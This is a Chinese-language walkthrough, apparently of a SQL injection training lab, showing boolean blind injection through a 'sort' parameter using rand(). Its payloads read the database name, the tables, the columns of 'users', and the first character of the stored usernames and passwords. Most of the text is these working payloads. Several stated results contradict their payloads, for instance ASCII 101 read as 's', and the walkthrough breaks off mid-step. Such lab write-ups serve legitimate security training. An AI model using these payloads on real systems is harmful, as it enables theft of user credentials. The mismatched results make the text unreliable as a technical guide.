首先输入一下内容
sort=rand()
多试几次,界面会发生变化 ,这一关属于数字型注入 。
使用报错注入 尝试输入一下内容。
sort=updatexml(1,if(1=1,concat(0x7e,database(),0x7e),1),1)--+
回显如下,可是不存在报错信息,所以不能继续使用报错注入。
开始使用布尔盲注,借助一下rand()函数关系表达式 ,当表达式为1时界面为条件为真时的界面, 表达式为0时界面为条件为假时的界面。
查看数据库长度,输入如下参数
sort=rand(length(database())=8)
接着获取数据库的名称的首字母 :
sort=rand(ascii(mid(database(),1,1))=101)
得到数据库的首字母为s。
接着获取表格的个数 输入如下:
sort=rand((select count(table_name) from information_schema.tables where table_schema=database())=4)
表格的个数为4个。
接着获取第一个表格的名称个数 :
sort=rand((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6)
第一个表格的名称的首字母为e。
接着进行字段数量的获取 :
sort=rand((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3)
字段的个数为3。
接着获取第一个字段的名称个数:
sort=rand((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2)
接着获取第一个字段的名称操作:
sort=rand(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105)
第一个字段的名称的首字母为i。
接着获取第一个用户名的首字母 :
sort=rand(ascii(mid((select group_concat(username,password) from users),1,1))=68)
第一个用户名的首字母为D,成功。
接着获取一下第一个表格的名称的首字母 :